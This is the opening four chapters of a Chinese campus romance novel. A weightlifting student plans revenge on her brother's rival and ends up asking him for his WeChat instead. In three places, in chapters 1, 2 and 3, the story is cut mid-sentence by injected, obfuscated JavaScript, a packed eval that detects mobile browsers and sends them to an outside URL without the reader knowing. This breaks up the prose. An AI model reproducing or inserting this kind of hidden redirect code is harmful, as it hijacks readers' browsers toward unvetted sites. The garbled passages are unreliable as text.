《梨梨原上谱》 1. 第 1 章 海市八月,清晨,晨曦微茫。 三团黑影鬼鬼祟祟地蹲在街角。 海大附院地处郊区,这边本就人烟稀少,外加晨雾未散,路边霓虹灯管也缺胳膊少腿的,衬得街道阴森森,莫名有点像电影里的杀人埋尸现场。 季丞:【在干什么?】 大梨士:【帮二姨奶奶浇花】 收到季丞微信时,温梨其实正带着狐朋狗友蹲点。 她右臂还打着石膏,前几个月的全国青年赛,杠铃脱手砸的。教练说至少要养半年,能不能回去训练都是未知数。但温梨眼下没空想这些。 她哥被人揍了,她来给他报仇。 “梨姐,你确定那孙子今天会来?”朱之毅蹲在路边,手里拎着根棒球棍。 “我哥说他今天值班。”温梨活动了一下没受伤的左臂,语气笃定,“等着就行。” 向葵面露忧色:“一会儿打起来,你这胳膊怎么办?” 朱之毅:“怕什么,咱梨姐一只手也能干翻他。” 温梨:“没错,就当是让他一只手了。” 他们蹲点在这,主要是等一个人。 事情起源于一周前,温梨她哥季丞跟人起了冲突,被打的鼻青脸肿进了院。温梨自然与他同仇敌忾,明里暗里骂了对方一百遍,偏偏季丞嘴严得像蚌壳。 虽然他不说,但温梨隐约知道对方是谁,他哥上大学这几年一直有个死对头,叫肖靳予。 两人同专业同宿舍,在天之骄子扎堆的医学系里,肖靳予却仍然能一骑绝尘,门门满绩,说是降维打击也不为过。唯一勉强望其项背的,就是她哥季丞。 季丞从小优秀到大,从来没在谁身上感受过这么大的挫败感。为了不被落下,他砍掉所有娱乐活动,一年三百六十五天起得比鸡早睡得比狗晚,两眼一睁就是学,就这样才勉强追上人家的尾灯。 好不容易卷完五年本科,两人同步保研,还都报了吴院长。今年吴院长只有一个直博名额,两大卷王继续发挥卷死人不偿命的精神,卷论文,卷科研,卷实习。 温梨本来只觉得这是良性竞争,直到前几天季丞被揍了。 她追问,他只说摔的。 是,摔人拳头上了是吧。 一定是那个肖靳予,眼看要被他哥追上,抢走直博名额了,就打人! 更可气的是,季丞居然还打输了。 温梨咽不下这口气。 她这人虽然学习不如她哥,但运动细胞在线,信奉能动手绝不动脑子。虽然季丞有时候很烦人,但不管怎么说,好歹是自家哥,怎么可能让别人欺负。 她一拍桌子:“放心吧哥,我明天就去帮你报仇!” 季丞想拦,她已经风风火火地出了门。 _ “叮”的一声,院内职工的闸机开了。 温梨思绪回笼,下意识抬头望过去。 晨光里走出来一个人,黑衣黑裤,身形颀长。 等人走近了些,她才真正看清他的长相。皮肤冷白,轮廓利落,天生一副干净的好皮相,只是神情冷淡,站在清晨的雾气里,像一截还没化完的雪。 温梨有些微的恍惚。 “过来了,过来了。”向葵激动地往外探了探头,“长得还挺帅的,梨梨,是他吗?” 是他吗? 温梨并不是很确定。 季丞对肖靳予的描述,她听过不少。“长得混蛋”、“特别装逼”、“看了就来气”,但面前这个人,怎么说呢,如果这也叫“装逼”的话,那只能说明她哥的审美已经被嫉妒心扭曲了。人家明明是真牛逼! 安静间,男人已经走远了。 他没有按照她们预想的路线,而是拐去了另一条巷子,晨光将他高大的身影笼在一层清辉里。 “啊,他怎么往那边走了?”向葵焦急地扯了扯温梨的衣袖,问她怎么办。 温梨没应声。她正在经历一个非常陌生的生理反应,心跳加快,肾上腺飙升,心里涌上一股说不上来的兴奋。 “完了,她要走了。”向葵说。 “愣着干嘛,追啊。”朱之毅第一个冲了出去,棒球棍往肩上一扛,“喂,前面那个,站住!” 男人脚步放慢,回过头来。 朱之毅抬了抬下巴:“你是叫肖靳予吗?” “是。”回答干脆利落。 “那就对了。”朱之毅把棒球棍往掌心拍了拍,摆出一副流氓样,“我们梨姐找你,你过来一下。” 肖靳予的视线从他身上掠过,缓慢朝后方扫去,似在寻找他口中的“梨姐”。 视线落过来时,温梨浑身一僵,刚才在脑子里排练一早上的狠话,全都卡在了喉咙里。 他的眼神太干净了,干净的不带半分戾气。 她忽然开始没底,真是他打的人吗?而且这张脸……要是打坏了,也挺可惜的。 她正纠结着,肖靳予已经抬步走了过来。他在她面前站定,他比她高很多,垂着眼睑,目光无波无澜,反而是温梨,眼神慌乱的不知道往哪里看。 “什么事?” 他的声音低沉,入耳却很动听。 “我、”温梨一下子紧张地有点不知该说什么,短暂卡住两秒,而后迟疑地开口:“就是……” “老实一点。”旁边的朱之毅凑过来,声情并茂的扮演着狗腿子:“我们梨姐可不是什么好东西。” 温梨:“?” 别再破坏她形象了好吗? 温梨赶紧推开朱之毅,再度抬眼去看眼前的男人:“也没什么事,我、我就是……” “……” 和他目光相对的这一瞬,温梨心跳彻底乱了,脸颊升起一股不合时宜的热意,耳朵尖也跟着红起来。 不能怂,你是来替你哥报仇的。 可是这人真的好好看。 不是,温梨你清醒一点。 她挣扎了大约三秒钟。 然后听见自己的声音说:“我就是想问一下,可以加个微信吗?” “对,我们梨姐想要你的微……”朱之毅嘚瑟到一半,忽然意识到不对劲:“啥?加微信?” 一鼓作气说完这句话,温梨的气焰立马消了,再不敢看他,手忙脚乱地调出微信二维码伸到他面前:“你扫我的就行。” 狐朋.向葵:“?” 狗友.朱之毅:“??” 女孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496922|202560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音很轻,紧张又带着点藏不住的期待。 肖靳予微蹙了一下眉,视线淡淡落过来,这几个小孩年龄都不大,看着像高中生,尤其是面前的女生,皮肤雪白,五官柔和,一双大眼睛玲珑剔透,很乖巧的长相,就是头发乱糟糟的,刘海上蹭着不知道哪里的枯叶,连胳膊都打着石膏。 很像他投喂过的那只可怜兮兮的流浪猫。 这是他的第一印象。 肖靳予扫了眼她的二维码,没多说,沉默着扫完了码。 卧槽。 他居然加了! 温梨忍住内心想尖叫的冲动,心里已经噼里啪啦放起了烟花。 “没事的话,我走了。”肖靳予说。 “好的,您慢走。” 温梨用标准的注目礼送他离开。离开前,他忽然回头看了她一眼,目光虽然很淡,却令温梨的心跳更加不规律了。 他居然特意回头看她,肯定是对她印象深刻。 温梨心里的粉红泡泡一颗颗往上冒,她那孕育了十八年对爱情的向往和期待终于在此刻变得具象。 果然,勇敢的人先享受爱情。 这微信要对了。 妈妈,我要恋爱了。 等男人走远,她才舍得收回视线,赶紧低头打开微信,准备通过好友申请,然后看着手机中弹出来的到账通知陷入了沉思。 【微信到账:100元】 旁边围观全程的向葵终于憋不住笑出来:“哈哈哈姐妹,你刚才打开的是微信收款码!” 温梨:“……” 等等,那他不会以为她是个街边混混在跟他要钱吧! 不是这样的。 “你等一下!”温梨拔腿追了上去,跑得太急,额头上沁出一层薄汗,碎发黏在太阳穴上。 肖靳予倒是很配合地停下来,看着她气喘吁吁地重新掏出手机,翻来覆去确认三遍,才把手机举到他面前。 “我不是跟你要钱。”温梨诚恳地解释,“是我点错码了,应该是这个。” 肖靳予张了张嘴,还没来得及说出口,身后忽然炸开一道中气十足的男声:“温梨!你在这里干什么!” 温梨吓得肩膀一抖,手机差点脱手而出。 坏了,她哥来了! 她僵硬地转过头,就看见她哥大踏步走过来,脸上表情精彩纷呈,大概涵盖“震惊”、“丢人”、“回家再收拾你”三个层次。 “在二姨奶奶家浇花是吧?”季丞咬牙切齿的。 “不是,你听我给你解释……” 季丞根本没给她解释的机会,拽住她胳膊,拎小鸡一样把她拖走了,走之前还警告似的瞥了肖靳予一眼。 向葵和朱之毅对视一眼,非常讲义气地追了上去。 吵吵嚷嚷的声音消失在街角。 肖靳予站在原地。 师兄打着哈欠从医院晃出来,只看到季丞搂着一个小姑娘的肩膀越走越远,小姑娘还在拼命回头。 “呦!”师兄啧了声,“季丞谈恋爱了?女朋友挺可爱啊。” 肖靳予没接话。 季丞的女朋友? 好像过得挺差,还出来乞讨…… 2. 第 2 章 “你说肖靳予不是打你的那个人?” 回家换完鞋,温梨到冰箱拿了根棒冰, 靠在厨房门框边看着一脸烦躁处理晚饭的季丞。 季丞足足顺了半分钟的气:“我什么时候说是他打的了?” “你是没说过, 可你暗示了。” 季丞切菜的手一顿:“什么时候?” “就昨天啊,你边改论文边骂他,说他没人性,注孤生,半夜两点在群里发实验数据,什么都要领先你一步。” 季丞都无语了:“我就是抱怨几句,你什么理解能力?” “可是不是他还能是谁,你天天泡在实验室,哪有时间得罪其他人?” “行了。”季丞明显不想谈论此事,在她进一步追问之前抢先告饶,“这件事就让它过去,好不好?再说一遍,不是肖靳予干的,你别去招惹他。” “好吧。”温梨狠狠咬了口棒冰。 “还有,”季丞找补回来,“谁说他什么都领先我了,我长得不比他帅?” 未必吧。温梨看了眼面前鼻青脸肿的人,又回想了一遍今天清风霁月的男人,没有拆穿他,小心翼翼维护着他哥脆弱的自尊心。 不过季丞还是非常敏锐地捕捉到了她鄙夷的目光:“你什么眼神?” “我就是有点好奇。” “?” “虽说我是无条件站你这边的,但你挨打真的不是因为平时说话太难听了吗?” 季丞脸黑了大半:“你还想不想吃晚饭?” “开个玩笑啦。”温梨咬了一口棒冰,笑着闪走了,“我说你也别天天窝在实验室内卷了,偶尔出去运动一下,健健身也不至于这么弱鸡,还得我这个当妹妹的操心。” “谁让你操心了,”季丞不耐烦地说,“少管我的事。” “略略略。”不识好人心,活该被打成猪头。 吃过晚饭,温梨躺在床上,打开微信看着那个转账的账号,肖*予,她可以看到他的头像,是只胖胖的橘猫,软萌萌的,跟他高冷的形象很不符。 一连几天,温梨都有点心不在焉,睡意渐失,脑子里放电影似的,总是不由自主地浮现出那天的场景。 男人拥有一双极其漂亮的眼,眼睑弧度分明,眼尾微微下垂,本是一双多情的桃花眼,却因为周身气质疏冷,压出几分冷峻的意味。 温梨回想着,心又开始噼里啪啦乱地炸烟花。 怎么回事,她不会是真的坠入爱河了吧。 她翻了个身,决定去看几集《十宗罪》来中和一下自己的恋爱脑。 看了十几分钟,她的狐朋狗友群弹出了消息。 一只猪:【今天还去教训一下欺负咱哥的混蛋吗?】 大梨士:【猪同学,这我就不得不批评你了,怎么这么粗鲁,什么事不能礼貌解决,非得动手?】 一只猪:【??你说怎么礼貌解决】 温梨想了想,回复他。 大梨士:【经过深思熟虑,我决定启用PlanB】 向日葵:【咱还有这种东西?】 大梨士:【刚想出来的】 一只猪:【什么plan?】 大梨士:【我决定不去报复他而是去追他,等他对我情根深重再抛弃他,怎么样?】 向日葵:【……】 一只猪:【确定这是你的plan不是你的play?】 大梨士:【哎,其实是我误会他了,我哥不是他打的】 一只猪:【?耍我们是吧】 大梨士:【真不是故意的,我请吃饭】 正胡聊着,微信收到妈妈的消息提醒:【梨梨,记得今天让你哥带你去医院拆石膏,妈妈出差赶不回去了】 去医院拆石膏。 医院!巧了不是。 温梨立马来了精神:【好勒!我马上就去。】 温梨从床上弹起来,打开衣柜挑了半天,最后选了条鹅黄连衣裙,还化了个妆,这才打车去了海大附院。 海大附院是国内排名靠前的省三甲医院,综合实力雄厚,尤其是骨科,不少专家享誉国内外。即使炎炎酷暑,各科门诊依然人满为患,空中充斥着消毒水的味道。 温梨并不喜欢来医院,大概是过去这半年来医院太多次,产生了本能的抗拒。 骨科在三楼,她快步穿过走廊,来往都是行色匆匆的病人家属,连光线都是灰蒙蒙的,只有她一个人,一身鲜艳的鹅黄连衣裙,漆皮小高跟,要不是胳膊上打着石膏,还以为她要去参加微博之夜走秀。 温梨按照季丞发来的位置找到办公室,抬手敲了敲门,听到“请进”才推门进去。 门一开,离门口最近的男生抬起头:“找谁?” 温梨迅速扫了一圈,屋里三张桌子,门口这位师兄,里面靠窗的是季丞的,剩下那张桌子……肖靳予! 她的目光在那张清冷的侧脸上停住,心跳猛地加速。 她男神也在! 温梨收回视线,露出一个乖巧的微笑:“我找季丞,他说带我去拆石膏。” 师兄:“哦,你去他位子上坐会儿,他刚被叫出去,一会儿就回来。” 温梨点头,走过去坐在季丞的椅子上。她腰背挺得笔直,余光却忍不住往旁边飘。肖靳予低头写着什么,始终没有往她这边看,温梨有点失落,他都不看她,她也没有理由搭话。 师兄倒是很热情,倒了杯水端过来:“妹妹,喝点水。” 温梨双手接过,弯起眼睛:“谢谢哥哥。” 师兄被这声“哥哥”喊得心花怒放,搓了搓手:“妹妹这嘴可真甜,我们学校的?” “嗯,开学就大二……”温梨刚想说体育学院,脑子里忽然闪过一段惨痛记忆,她中学时喜欢隔壁班学委,追了好几周,结果对方到处跟人说她校园霸凌他。 为了避免惨案再次发生,她决定隐瞒真相。 “我是音乐学院的,温梨。哥哥你叫我梨梨就好。” “学音乐的啊,怪不得这么漂亮。”师兄笑起来,“我听说,你们学院全是美女,还多才多艺。” “也还好。” 温梨谦虚,余光又往旁边飘了一下,肖靳予依然没有抬头看她。 “既然都是一个学校的,你叫我师兄就好了。”师兄问她,“你这胳膊怎么回事?” 温梨没敢说参加 举重比赛被杠铃砸的,随口扯谎:“骑车摔的。” “哎呦,你们女孩身子弱,平时得多注意点。” “嗯,我以后回注意。” 正说着,季丞回来了,脸很黑,估计刚被带教老师训过。他看见温梨笑眯眯地跟人聊天,眉头拧起来:“我在外面等你半天,你在这坐着跟人唠嗑?” 温梨无辜地撇嘴:“我又不知道你在外面。” “行了,别浪费时间,拆石膏去。”季丞不耐烦地转身。 温梨赶紧站起来,跟着往外走。师兄看不下去,冲季丞的背影说:“季丞,你对女孩温柔点,别吓着人家。” 季丞头也不回,冷嗤了一声。 温梨甜甜地笑着跟师兄挥手:“师兄,我先走啦。” 师兄也温和地笑着:“走吧走吧,慢点走,别磕着了。” 门关上。师兄叹了口气,扭头跟肖靳予抱怨:“不是,季丞这小子凭什么啊?好日子都让他过了。” 肖靳予:“……” 师兄:“有这么可爱温柔的女朋友还不知足,还凶巴巴,真不知道人家姑娘看上他什么了。” 肖靳予没接话,笔尖却停了。 师兄还在絮叨,他已经听不见了。空气里有一缕很淡的茉莉香,是她刚才坐在这里留下的,她走了,花香却没散,似有若无地绕在他鼻尖。 _ 温梨跟着季丞去了候诊室,办公桌后面是个戴眼镜的老医生,正是骨科的吴院长。他看了眼她的片子,让护士把石膏拆了,指挥她做了几组动作。 吴院长欣慰地点头:“恢复得不错,功能不会受影响。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496923|202560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那我还能走职业吗?”温梨迫不及待问。 “职业?”吴院长推了推眼镜:“你是运动员?” “对,我是举重运动员。” “举重!小姑娘了不得哦。”吴院长有些惊讶,重新审视片子,神色难辨。 温梨坐在对面,紧张地抠着裙边。 “职业运动员训练强度大,关节承受的压力也大。”吴院长指着片子上某个地方,“这里一旦再次错位,很容易复发,到时候就危险了。” 温梨没说话,神色明显失落。 “不过也别灰心。你还年轻,先做基础训练试试,慢慢上强度,定期复查,若是有不舒服就立刻停下。” “好,谢谢医生。” 出了诊室,季丞安慰地摸了摸她的头:“没事,我导师都说没事了。” “吴院长什么时候成你导师了,他不是还没确定要不要收你?” 季丞不屑地笑:“早晚的事,肖靳予那个傻逼他都能收,我还能比他差?” 温梨扯了扯嘴角。其实她已经没那么难过了。 每年因伤退役的运动员不计其数,她不过是其中一个。何况爸妈一直不希望她练举重,小时候送她去体校只是因为她成绩不好,想通过体育特长考大学,一开始练的是田径,谁也没想到她会被举重队的张教练看上。 如今考上了大学他们自然不希望她继续练了。他们眼中的女孩子就应该是柔弱、漂亮、温柔的,练举重会让身材变矮变胖,会变丑以后都嫁不出去了。 所以她在比赛时受伤,爸妈担心之余竟然还有一丝的庆幸,庆幸自己女儿终于可以彻底断了这个念想,回到他们期望的那条“正轨”上去。 温梨理解他们,爸妈这代人吃过苦怕过穷,对“安稳”二字有着近乎偏执的追求,一份稳定的工作,一个和美的家庭,就是他们眼中的幸福了。 但温梨想要的幸福不止于此,她想站在赛场上,等灯光打在身上,全世界都安静下来,只剩下自己和那根杠铃最纯粹的较量。 这种感觉,他们不会懂。 季丞察觉她的失落,单手拢住她的肩:“走,带你去食堂吃饭,我们医学院的食堂比你们的好吃多了。” 温梨半推半就被他带下了楼。 _ 暑假放了两个月,宿舍群也沉寂了两个月,饭后温梨躺在沙发上翻微信,心血来潮地往群里扔了个爱心表情包。 大梨士:【姐妹们,我恋爱了!】 Daddy:【??】 程希灵:【真的假的?】 Morning:【wc,你脱单了?叫什么?哪里人?高不高帅不帅有照片吗?快如实交代!】 一句话把宿舍的潜水党都炸了出来,温梨是个藏不住事的性子,三言两语就被她们哄着交代了前因后果。 大梨士:【还没有谈上啦,不过我觉得快了】 Daddy:【暧昧期是吧,我懂,什么进展了?】 大梨士:【大概50%……】 Daddy:【你小子可以啊,几天不见都50%了,二垒了?】 大梨士:【没】 Morning:【那是一垒?】 大梨士:【也没】 程希灵:【那你这50%是垒到哪了?】 大梨士:【就是我同意了,他还没同意】 Morning:【……】 程希灵:【……】 群里的沉默震耳欲聋。 Morning:【能把单相思说的如此清新脱俗,你也是古今第一人了】 程希灵:【/捂嘴笑】 Daddy:【切,这么说我跟吴彦祖还50%呢】 温梨扔了个不服的表情包。 大梨士:【都给我等着,早晚拿下他来给你们瞧瞧!】 对面嘲讽值拉满。 Daddy:【那我就等着了】 Morning:【略略略.jpg】 3. 第 3 章 暑假过得很快,很快迎来了开学日。 温梨在家吃着妈妈做的最后的早餐,不禁感慨:“妈妈,今天的小米粥怎么不如昨天的好喝呀。” “不可能吧,”温陶从厨房里走出来,“这就是昨天剩的小米粥啊。” “……” 行吧,她已经知道原因了。 温梨的大学在本地,几乎每周回家一趟,所以这次开学完全没有离家的不舍,还有点脱离苦海的小激动。 “妈妈,我走了。”吃过早饭,温梨把最后一包杏仁干扔进小行李箱,检查完毕后推着往外走。 温陶把她送到车库,路上嘱咐:“在学校里要好好学习,低调一点别惹事,君子动口不动手,遇到事情就找老师,或者报警,不要自己上,知道了吗?” 温梨小声应着:“知道了。” “不可以打架,不可以逞英雄,不可以把饭扣到同学的脑袋上,知道了吗?” “知道。” 温陶还在念叨着,温梨听得耳朵都起茧子了,赶紧接过自己哆啦A梦的包包钻进车里,笑着打断施法:“妈妈再见啦!” 温陶叹了口气:“走吧,路上小心。” 路上,爸爸又跟她闲聊起来:“对了,你那两个体校的小朋友还在练举重啊?” “朱之毅跟向葵吗?” “对。” “嗯,他俩在省队混得挺不错的。” 温梨心想,要不是胳膊受伤,她这会儿都能进国家队了,天妒英才啊。 “我跟你说女孩子练举重会变丑的,变得又胖又矮,以后很难找男朋友。” 纪青提打满方向盘继续说:“爸爸还是希望你做个平凡的女孩子,漂漂亮亮,平平安安的,毕业后再找个轻松的工作,再谈个恋爱,什么冠军什么金牌的,咱们不要也罢。” 纪青提念叨了一路。 温梨没插嘴,安静看向窗外风景。 车窗映出她的侧脸,她没说话,就这么安静做了两个小时青春疼痛文女主角。 _ 海市九月,暑气未消,沉寂两个月的校园再度复苏。 温梨下车呼吸了一口新鲜的空气,拖着行李箱进了校园。 学校里有不少新生正领着家长四处参观,学生会也忙着发传单迎新,氛围热闹。 温梨感慨日子过得真快,一眨眼她已经是大二的学姐了。 路过攒动的人群,她看到自己宿舍楼下站着两个女生,两人面前放着一桶桶装水,似乎是在商量如何搬到楼上去,是她宿舍的程希灵和姜早。 温梨拉着自己的小箱子三两步跑过去:“宝贝们,我回来了。” 程希灵最先看到她,满脸的惊喜:“梨梨回来了。” 姜早更是飞扑过来:“天啊,救星回来了。” 她们宿舍的关系一直很和谐,大一时大家嫌弃宿舍的水质差,合伙买了台饮水机,只是宿舍在六楼,又没有电梯,需要她们四个人轮流抬水上楼。 宿舍里除了温梨,全都是弱不禁风的小身板,抬一桶水上六楼能要半条命。 温梨是个怜香惜玉的人,再说了搬水对她而言不过是顺手的事,所以主动承包了这个活,当然其他人也不好意思白占她便宜,商量着免去了她在宿舍的值日。 温梨二话不说,左手提着行李箱,右手拎着38斤的罐装水桶,就这么信步上了六楼,后面空着手的两个女生都没她速度快。 “梨梨你慢点走,你的胳膊才刚好!”姜早在后面喊她。 温梨早就跑没了人影。 等她在宿舍把饮水机都装好,姜早几个人才气喘吁吁地回宿舍:“梨女侠孔武有力,小女子实在佩服。” 付琴也打趣她:“梨梨你也太靠谱了,你要是个男的我肯定要嫁给你。” 温梨拿着杯子去接了半杯水,往椅子上一摊:“我是男的才不会娶你。” 付琴撅嘴:“不娶我,你想娶谁?” 温梨翘着二郎腿说:“起码是灵灵这样的吧,温柔体贴还会给我带早饭。” 程希灵抿唇笑了声,表情略害羞。 付琴胜负欲上来了:“我也可以给你带,娶我!” 姜早笑道:“行了别争宠了,她喜欢灵灵你又不是不知道,你想想军训那会儿。” 付琴了然:“也是,美女救美女。” 姜早:“哈哈哈还有公主抱呢,磕死我们了。” 程希灵笑说:“你们别再开玩笑了。” 她们说的事发生在刚开学的军训,那会儿温梨跟她们还不熟,毕竟宿舍里只有她一个人是体育学院的,其他三人都是音乐学院。 军训时体育学院和音乐学院恰好是一个方阵。 军训第三天正赶上程希灵的生理期,她肚子难受想跟教官请假,结果被骂矫情,说她事多,别人怎么没有那么多事什么的。 女孩子被吓的一句话不敢说,白着脸继续在太阳底下站军姿。 结果这一晒直接低血糖晕倒了,旁边的姜早跟付琴吓了一跳,赶紧跑过去照顾她,因为事情发生的太紧急,两个人没有打报告就跑过去了,这举动又挑战了教官的权威。 他劈头盖脸把两人一顿骂,说她俩无组织无纪律。 程希灵缓过来后,教官还是觉得她是装的,让三个女生去一边每人做三十个俯卧撑。 她们三个本就是偏瘦弱的体格,身上都没二两肉,别说是三十个俯卧撑了,三个都做不了。 姜早一直在道歉,想求教官放过她们,但是教官一直冷着脸,还说做不完就不准吃午饭。 这事本来跟温梨没什么关系,但她就是看得生气,什么狗屁教官,这不就是纯欺负人。 于是她站了出来:“每人三十个俯卧撑是吧,我替她们做了。” 此言一出,别说是教官,整个方队的人都震惊了,九十个俯卧撑,别说是女生了,就算是大部分有健身习惯的男生都做不下来。 别人都觉得她在吹牛,但温梨还真就轻轻松松完成了,动作标准到饶是如此挑剔的教官都无话可说,做完后她拍干净掌心的灰,在众人震惊的目光中把程希灵抱起来,送去了医务室。 从此,温梨在他们这届一战成名,成了校园顶流人物,完美征服602的三位美女。 这件事之后还有看热闹的好事者写了篇稿子投到学校的公众号,然后一些类似于“帅是感觉不是一个性别”,“巾帼不让须眉”,“这届男生们最大的竞争对手是个娃娃脸的女生”等等的标签就贴到了她身上。 温梨能怎么办,她也想听妈妈的话低调一点,但是没办法,主要是她实在太酷了。 “行了,都别争宠了,要不要去超市听一下好消息?”姜早问她们。 温梨的洗澡篮上学期时被她半夜上厕所不小心踩坏了,她准备去买个新的。 付琴也说要去。 三人结伴去了超市,温梨挑了个洗澡篮,又拿了些洗漱用品,塞进篮子里后结账往外走。 出了超市就听到有女主在门口“哇”的一声,小声嘟囔着:“肖靳予哎!” 什么? 肖什么予! 温梨灵敏的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496924|202560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳朵尖动了动,小脑瓜也跟着往后张望。 男生恰好从身后的超市走出来,他穿着干净的白T,戴着耳机,不知道是在打电话还是听音乐。 夕阳挂在天边,暖橘色的光将他的发梢染上一层金色。 擦肩而过时,温梨似乎闻到了他身上的气息,像雪后被压弯的松树枝,扑面的冷意,虽淡,但存在感极强。 她的脑袋就跟车轱辘似的,跟着他往外转了。 付琴抬手在她面前打了个响指:“发什么呆?” 温梨这才灵魂归窍,理了理自己的刘海问她:“我现在丑吗?” 付琴奇怪地看向她,她今天没化妆,但皮肤干净白皙,脸上看不到一点毛孔,小巧玲珑的五官看着特别乖,跟洋娃娃似的。 “不丑啊,很漂亮,自信点!”她坚定地回答。 温梨放下心来。 事已至此,直接莽吧。 于是自信的梨梨同学冲着男生离开的方向追了过去。 _ 肖靳予从超市出来,耳机里的声还在嗡嗡响。 “阿予,你怎么不通过妈妈的微信?” 他脚步没停:“你从哪知道的我的电话?” “我跟你辅导员要的。” “你倒是挺费尽心机。” “没有,我只是……” 他挂了。不想再听,耳机里安静下来,但那股烦躁没散。 “肖、肖靳予!” 听到自己的名字,他脚步一顿,转身看过去。 女孩急匆匆跑来,额前碎发被风吹起来,毛茸茸的,速度太快一时没刹住,差点栽他怀里。 肖靳予后撤一步。 她站稳,忙不迭地冲他招手,眉眼弯成两道月牙:“你好呀,又见面了。” 肖靳予沉默地看着她,沉静无澜的一双眼,像冬日结冰的潭水。 这样近距离看着他的脸,温梨心脏咚咚响,想好的开场白在嗓子眼卡了壳,直接忘干净了。 肖靳予也没说话。 四目相对,周围死一般的寂静。 温梨咬了下舌头,暗骂自己花痴。 “那个、你应该还记得我吧,前几周我们在附院门口见过面,你还给我转了一百块。” 肖靳予沉默。 在他这样陌生的眼神中,温梨很快了然,这是不记得了。 她这张脸这么没有辨识度吗? “好吧,不记得也没关系,”温梨很会安慰自己,“那天是个误会,我那天不是跟你要钱的,所以能不能加一下微信,我把钱还给你?” 说着她从口袋里拿出手机,给他看了上次他转过来的一百块钱,希望他多少能有点印象。 肖靳予其实记得她,季丞的女朋友。 他的目光缓慢从她脸上转移到手机二维码,再到她跨在胳膊肘的澡篮子,里面零零散散装着几瓶护发素和洗发水,瓶身花花绿绿的。 她这是……在推销洗发水? 但他不用这个牌子,香味太浓了。 肖靳予一直不说话,温梨心里更紧张了,抿着唇,心里七上八下的打着鼓。奇怪,他怎么看她这么久,她头发没乱吧,早知道出门涂点口红了,也不至于这么素。 肖靳予其实在想,季丞的名牌鞋一天换一双,少买两双省下的钱,也不至于让女朋友出来兼职。 想到这又觉得无聊,别人的女朋友,关他什么事。 他的视线终于重新抬起来,然后听他缓慢开口:“不买。” 温梨:“?” 不买什么? 4. 第 4 章 肖靳予说完这句话就走了,留下温梨一个人站在风中凌乱。 不买? 温梨低头看了眼手臂上挎着的洗澡篮,又看了眼身上没有任何Logo的红色Polo衫,迟钝的反应过来,他不会以为她是在学校里卖洗发水的推销人员吧! 啊啊啊!窒息,她从来没有这么窒息过。 温梨破防了,真的很想大声冲着他的背影大喊一句,别人跟你说话时摘掉耳机才是最起码的礼貌! 但是发出声音堵在了嗓子口,莫名的委屈,眼睛红红的,直接引发了围观,十几双眼睛齐刷刷地看过来。 温梨的气焰就有点消了,被拒绝已经很丢人了,何况还被认成推销洗发水的。 她不想再丢脸了。 温梨垂头丧气地逃跑了,路上还被两个舍友嘲笑了一路。 回到宿舍,她焉了吧唧地趴到床上,程希灵洗完衣服进来,问了句:“怎么了?” 温梨:“我失恋了。” 程希灵小声说:“……好像也没恋过吧。” 温梨更郁闷了,烦闷地踢了下腿。 付琴激动地拉住她:“灵灵,有大瓜大瓜,你知道梨梨的crush是谁吗?” 程希灵的八卦之火也被点燃:“谁呀?” 付琴卖了个关子,让她猜了好一会儿才揭晓答案:“肖靳予!” 程希灵“啊”的一声,露出惊讶之色:“医学院的那个肖靳予?” 温梨就奇怪了:“你们怎么都知道他?” 付琴耸肩:“大一时你胳膊受伤不太来学校所以不知道,肖靳予在咱学校的名声可高了,快跟你差不多了。” 温梨的脑子一短路:“难道他也是练举重的?” “那倒不是,你是以武力值打天下,人家是靠脑子出名的。”付琴跟她说:“肖靳予可是当年的省状元,医学院高岭之花,大学五年蝉联专业第一,开学时凭着一张证件照稳坐校草宝座!每年收到的表白信一打一打的,你这刚出新手村就来搞大boss,能不碰一鼻子灰嘛。” “真的假的?” “咱们附院的吴院长你知道吧,十二所大学的客座教授,声名远洋,肖学长刚上大二就被他看上,直接收为关门弟子,手把手带着,毕业估计就要继承直接衣钵了。” 这事她曾经听季丞说过,吴院长一直是季丞的偶像,读博也是为了能进吴院长科研组,但吴院长每年研究生名额特别少,竞争激烈,他费劲千辛万苦才拿到一个实习的机会,结果人家大二就被内定了,谁能不气。 温梨叹了口气:“这么优秀,那他喜欢什么类型?” 付琴摇头:“不知道,不过我猜他这么冷的性格应该会喜欢偏文静点的吧。” 温梨立马把翘着的二郎腿放下了:“我也挺文静的。” 付琴还真不信。 温梨撇嘴巴,有点不服气:“我真可以,你们是跟我太熟了,对我有刻板印象,别人见我第一眼都说我是日系甜妹。” 这话是真的,温梨的性格和长相极其不符,她的长相是那种妥妥的南方妹子,圆脸大眼睛,脸颊上还带着一个小小的梨涡,每次笑起来都会被她甜到。 